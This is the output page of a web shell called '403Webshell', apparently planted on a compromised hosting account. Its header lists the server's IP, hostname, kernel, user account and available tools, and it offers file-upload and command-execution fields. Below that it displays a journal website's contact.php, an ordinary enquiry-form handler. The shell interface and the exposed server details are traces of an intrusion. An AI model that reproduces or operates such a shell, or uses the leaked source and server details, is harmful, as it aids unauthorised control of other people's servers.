403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/reflectivejournals.com/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/reflectivejournals.com/inc/contact.php
<?php
if($decrypt_focus === '[PLACE_ENQUIRY]'):
	if(! isset($_POST['zipcode']) OR $_POST['zipcode'] !== '' OR strlen($_POST['zipcode']) > 0):
		die(result(false, 'You are not authorized user.'));
	endif;

	if (preg_match( '/[\p{Cyrillic}]/u', $_POST['message'])) {
		die(result(false, 'You are not authorized user.'));
	}

	$name = remexspace(escape($_POST['name']));
	$name = str_replace('\"', '', strip_tags($name));
	$name = preg_replace('/[!?,.](?![!?,.\s])/', '$0 ', $name);
	$name = htmlentities($name, ENT_QUOTES);
	$name = mb_convert_case($name, MB_CASE_TITLE, "UTF-8");
	$name = stripslashes(stripcslashes($name));
	$email = remspace(sanitize_email(escape($_POST['email'])));
	$email = strtolower(strip_tags($email));
	$phones  = remspace(sanitize(escape($_POST['phone'])));
	$phones	 = preg_replace('/[^0-9+-,]/', '', strip_tags($phones));
	$message = remexspace(escape($_POST['message']));
	$message = str_replace(array('\"', '\r\n'), array('', PHP_EOL), strip_tags($message));
	$message = preg_replace('/[!?,.](?![!?,.\s])/', '$0 ', $message);
	$message = htmlentities($message, ENT_QUOTES);
	$message = preg_replace_callback("/[a-zA-Z]+/", "change_case", $message);
	$message = stripslashes(stripcslashes($message));
	$reCAPTCHA = isset($_POST['g-recaptcha-response']) ? $_POST['g-recaptcha-response'] : '';
	$responseData = gCAPTCHA($reCAPTCHA);
	$creation= date('Y-m-d H:i:s');

	if(empty($name)):
		die(result(false, "Please enter your name."));
	elseif(empty($email)):
		die(result(false, "Please enter your email address."));
	elseif(!validate_email($email)):
		die(result(false, "Please enter a valid email address."));
	elseif((empty($phones) && strlen($phones) == 0)):
		die(result(false, "Please enter your mobile number."));
	elseif(empty($message)):
		die(result(false, "Please enter your message."));
	elseif(!$reCAPTCHA):
		die(result(false, 'Please click on the reCAPTCHA box.'));
	elseif(!$responseData->success):
		die(result(false, 'Robot verification failed, Please try again.'));
	else:
		if (file_exists('../../temp/BlockedWords.php')) :
			require_once('../../temp/BlockedWords.php');
			if ($blocked = BlockedWords::check($email, $message)) :
				die(result(false, $blocked));
			endif;
		else :
			die(result(false, 'Something went worng.'));
		endif;

		$stmt = $mysqli->prepare("INSERT INTO enquiry(fullname, email, phone, message, creation) VALUES(?, ?, ?, ?, ?)") or die(result(false, "An error occurred. Please try after some time."));
		$stmt->bind_param('sssss', $name, $email, $phones, $message, $creation);
		$e = $stmt->execute();
		$insertid = $stmt->insert_id;
		$stmt->close();

		if($e):
			insertemail($email);

			$wsubject= 'Enquiry from contact us page. #' . $insertid;
			$wbody	 = '<table border="0" cellpadding="5" cellspacing="0" width="700">';
			$wbody	.= '<tr bgcolor="#ccc"><td align="left" valign="top" width="180">Full Name</td><td align="left" valign="top">: ' . $name . '</td></tr>';
			$wbody	.= '<tr bgcolor="#fff"><td align="left" valign="top" width="180">Email</td><td align="left" valign="top">: ' . $email . '</td></tr>';
			$wbody	.= '<tr bgcolor="#ccc"><td align="left" valign="top" width="180">Phone</td><td align="left" valign="top">: ' . $phones . '</td></tr>';
			$wbody	.= '<tr bgcolor="#fff"><td align="left" valign="top" width="180">Message</td><td align="left" valign="top">: ' . str_replace(PHP_EOL, '<br>', $message) . '</td></tr>';
			$wbody	.= '</table>';

			$csubject= 'We received your enquiry. #' . $insertid;
			$cbody	 = 'Dear ' . $name . ',<br><br>Thank you for contacting the <i>' . $websitename . '</i>.<br><br>';
			$cbody	.= '<b>Important Links:</b><br>';
			$cbody	.= 'For Author Instructions: ' . $baseurl . 'instructions<br>';
			$cbody	.= 'For Past Issues: ' . $baseurl . 'archives<br><br>';
			$cbody	.= '<div style="line-height:18px">--<br>Regards<br>' . str_replace(PHP_EOL, '<br>', $signature) . '</div><br><br>';
			$cbody	.= '<b style="color:#009933"><img src="' . $imageurl . 'tree.png" alt="Tree" />&nbsp;&nbsp;Please consider the environment before you print this email.</b>';

			$cc = '';$bcc = '';$attachments = array();
			if($mailer == 'amazon'):
				@AmazonMail($websiteemail, $cc, $bcc, $wsubject, $wbody, $attachments, $fromname, $fromemail, $name, $email);
				@AmazonMail($email, $cc, $bcc, $csubject, $cbody, $attachments, $fromname, $fromemail, $fromname, $fromemail);
			elseif($mailer == 'phpmailer'):
				@PHPMail($websiteemail, $cc, $bcc, $wsubject, $wbody, $attachments, $fromname, $fromemail, $name, $email);
				@PHPMail($email, $cc, $bcc, $csubject, $cbody, $attachments, $fromname, $fromemail, $fromname, $fromemail);
			endif;

			die(result(true, "Thank you, Your enquiry has been submitted."));
		else:
			die(result(false, "An error occurred. Please try after some time."));
		endif;
	endif;
else:
	die(result(false, "Access Denied!"));
endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit